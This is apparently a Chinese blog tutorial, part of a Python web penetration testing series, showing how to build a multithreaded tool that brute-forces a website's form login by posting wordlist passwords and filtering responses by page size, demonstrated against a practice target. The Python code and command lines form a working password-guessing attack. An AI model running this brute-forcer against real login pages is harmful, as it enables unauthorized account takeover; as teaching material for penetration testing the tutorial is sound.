利用Python进行Web渗透测试13:暴力测试网站表单登录认证

本篇涉及:

  • 表单认证登录
  • 对表单登录认证进行暴力测试

表单登录认证

对于大多数而言,前两篇文章中介绍的HTTP基本认证和HTTP摘要认证都很不常见。在大多数的网站中,使用的还是基于表单的认证方式。
在表单中输入用户名和密码,点击“登录按钮”完成认证:

对于大多数人而言,这是再熟悉不过的了。

表单认证并不是HTTP协议中的一个规范协议。各个Web应用都可以使用自己的实现方式来对表单的信息进行处理和认证。

一般而言,Web应用在前端界面提供一个表单来接收用户名和密码,然后在后端对用户名和密码进行检查和匹配。

还记得我们在使用Python编写的渗透测试资源探测器对渗透测试靶机http://www.scruffybank.com/进行资源探测的时候发现的资源链接吗:

里面有一个值得我们注意的链接——login.php,按照推测,这应该是一个登录页面(login),我们打开url看看:

果然是一个用户登录的页面。我们使用之前暴力破解HTTP基本认证和摘要认证得到的密码admin123和administrator,看是否能够登录:

很显然,登录并没有成功。

虽然我们的密码字典里面还有很多密码,但是我们不会去手动一个一个的测试。因为我们可以通过改进我们的密码暴力测试器,让其支持表单的登录认证测试。

表单登录认证暴力测试

首先,我们需要找到表单最后请求和提交的URL是什么。

右键查看网页源代码:

好的,我们发现表单的数据是提交到check_login.php这个链接的。记下这个链接,接下来我们会使用到。

根据一般的思路,我们只需要在上一版的程序中加入一个新的关键字判断指定的认证方式即可,比如像这样:

def usage():
    print("用法:")
    print("     -w:网址 (http://wensite.com/admin)")
    print("     -u:用户名")
    print("     -t:线程数")
    print("     -f:字典文件")
    print("     -m:认证方式(basic、digest、forms)")
    print("例子:bruteforcer.py -w http://bxu2713810459.my3w.com/admin -u admin -t 5 -f commom.txt -m digest")

class request_performer(Thread):
    def __init__(self,name,user,url,method):
        Thread.__init__(self)
        try:
            self.password = name.split("\n")[0]
            self.username = user
            self.url = url
            self.method = method
        except Exception as e:
            print(e)

    def run(self):
        global valid
        if valid == '1':
            try:
                if self.method == 'basic':
                    r = requests.get(self.url,auth=(self.username,self.password))
                elif self.method == 'digest':
                    r = requests.get(self.url,auth=HTTPDigestAuth(self.username,self.password))
                elif self.method == 'form':
                    r = requests.post(self.url,data={'username':self.username,'password':self.password})
                if r.status_code == 200:
                    valid = '0'
                    print("[+]发现密码:"+ colored(self.password,'green'))
                    sys.exit()
                else:
                    print("无效的密码:"+ self.password)
                    i[0] = i[0] - 1
            except Exception as e:
                print(e)

因为requests的模块中自带post方式传输数据的方法,如果我们指定form表单登录方式,那么用户名和密码将通过post方法进行请求url。想象很美好,结果呢,我们测试一下:

直接就出现了密码admin?,我们登录一下:

结果并没有成功,是哪里出现了问题呢?我们在调试控制台中检查一下网络请求:

确实是请求了check_login.php这个链接,并且其还响应了一个302的重定向,只不过没有内容而已。

并且我们还发现,这个302的响应内容大小太少了,甚至于比只有一个表单的logon.php都要小。显然,这是很不正常的。

或许我们可以从这里入手,换一个思路。
还记得我们编写的暴力资源探测器的最后一版,我们在结果中加入了响应的状态码、页面大小、页面字符数、页面单词数等。

我们改进一下资源探测器,通过资源探测器获取的资源内容大小来判断登录后页面的状态,看其是否成功。

首先,为程序添加一个可选的命令行参数-p,用于指定用户名和密码,值程序用法介绍中加入:

def usage():
    print("用法:")
    print("     -w:网址 (http://wensite.com/FUZZ)")
    print("     -t:线程数")
    print("     -f:字典文件")
    print("     -c:隐藏的状态码")
    print("     -p:用户名和密码")
    print("例子:bruteforcer.py -w http://bxu2713810459.my3w.com/FUZZ -t 5 -f commom.txt -c 404")

然后在主类request_performer()中添加一个参数payload,表示接收用户名和密码组:

class request_performer(Thread):
    def __init__(self,word,url,hidecode,payload):
        Thread.__init__(self)
        try:
            self.word = word.split("\n")[0]
            self.urly = url.replace('FUZZ',self.word)
            self.url = self.urly
            self.hidecode = hidecode
            if payload != "":
                self.payload = payload.replace("FUZZ",self.word)
            else:
                self.payload = payload
        except Exception as e:
            print(e)

接着在run()方法中对payload参数进行判断,如果存在payload,则使用post方法对url进行请求,如果不存在即使用get方法:

def run(self):
        try:
            # 判断是否指定payload
            if self.payload != "":
                lists = self.payload.replace("="," ").replace("&"," ").split(" ")
                payload = dict([(k,v) for k,v in zip(lists[::2],lists[1::2])])
                r = requests.post(self.url,data=payload)
            else:
                r = requests.get(self.url)
            # 统计网页行数
            lines = str(r.text.count("\n"))
            # 统计网页字符数
            charts = str(len(r.text))
            # 统计网页词数
            words = str(len(re.findall(r"\S+", r.text)))
            # 哈希值
            hashs = str(hashlib.md5(r.content).hexdigest())
            # 状态码
            scode = str(r.status_code)
            # 判断是否重定向
            if r.history != []:
                first = r.history[0]
                scode = str(first.status_code)
            else:
                pass
            if scode != str(self.hidecode):
                if '200' <= scode < '300':
                    print(colored(scode,'green') + "\t" + charts + "  \t" + lines + "   \t" +words+ "\t"+r.headers['server']+"\t"+self.word)
                elif '400' <= scode < '500':
                    print(colored(scode,'red') + "\t" + charts + "  \t" + lines + "   \t" +words+ "\t"+ r.headers['server']+"\t"+self.word)
                elif '300' <= scode < '400':
                    print(colored(scode,'blue') + "\t" + charts + " \t" + lines + "   \t" +words+ "\t"+ r.headers['server']+"\t"+self.word)
                else:
                    print(colored(scode,'yellow') + "\t" + charts + "   \t" + lines + "   \t" +words+ "\t"+ r.headers['server']+"\t"+self.word)
            i[0] = i[0] -1
        except Exception as e:
            print(e)

然后在启动函数start()中设置接收新参数,线程启动函数launcher_thread()相应的也要新增接收payload参数:

def start(argv):
    banner()
    if len(sys.argv) < 5:
        usage()
        sys.exit()
    try:
        opts,args = getopt.getopt(argv,"w:t:f:c:p:")
    except getopt.GetoptError:
        print("错误的参数")
        sys.exit()
    hidecode = 000
    for opt,arg in opts:
        if opt == '-w':
            url = arg
        elif opt == '-f':
            dicts = arg
        elif opt == '-t':
            threads = arg
        elif opt == '-c':
            hidecode = arg
        elif opt == '-p':
            payload = arg

    try:
        f = open(dicts,'r')
        words = f.readlines()
    except:
        print("打开文件错误:",dicts,"\n")
        sys.exit()

    launcher_thread(words,threads,url,hidecode,payload)

def launcher_thread(names,th,url,hidecode,payload):
    global i
    i = []
    resultlist = []
    print("==============================================")
    print("状态码"+"\t"+"字符数"+"\t"+"行数"+"\t"+"词数"+"\t"+"服务器"+"\t"+"数据")
    print("==============================================")
    i.append(0)
    while len(names):
        try:
            if i[0] < int(th):
                n = names.pop(0)
                i[0] = i[0]+1
                thread = request_performer(n,url,hidecode,payload)
                thread.start()
        except KeyboardInterrupt:
            print("用户停止了程序运行。完成探测")
            sys.exit()
    return True

最后,我们测试一下:

python passBruteForcer3.py -w http://www.scruffybank.com/check_login.php -t 5 -f pass.txt -p "username=admin&password=FUZZ"

大部分的响应字符都是2373,倒是影响了我们找到不同的响应,我们修改一下代码,利用-c参数,隐藏指定大小的字符数:

            if charts != str(self.hidecode):
                if '200' <= scode < '300':
                    print(colored(scode,'green') + "\t" + charts + "  \t" + lines + "   \t" +words+ "\t"+r.headers['server']+"\t"+self.word)
                elif '400' <= scode < '500':
                    print(colored(scode,'red') + "\t" + charts + "  \t" + lines + "   \t" +words+ "\t"+ r.headers['server']+"\t"+self.word)
                elif '300' <= scode < '400':
                    print(colored(scode,'blue') + "\t" + charts + " \t" + lines + "   \t" +words+ "\t"+ r.headers['server']+"\t"+self.word)
                else:
                    print(colored(scode,'yellow') + "\t" + charts + "   \t" + lines + "   \t" +words+ "\t"+ r.headers['server']+"\t"+self.word)

再次测试一下:

python passBruteForcer3.py -w http://www.scruffybank.com/check_login.php -t 5 -f pass.txt -p "username=admin&password=FUZZ" -c 2373

结果只有一条结果显示,密码为administrator123的结果。

我们用用户名admin和刚刚测试出来的密码administrator123登录一下网站:

很显然,我们成功登录进去了。

这样,我们就实现了对表单登录认证的密码测试。

猜你也喜欢

发表评论

电子邮件地址不会被公开。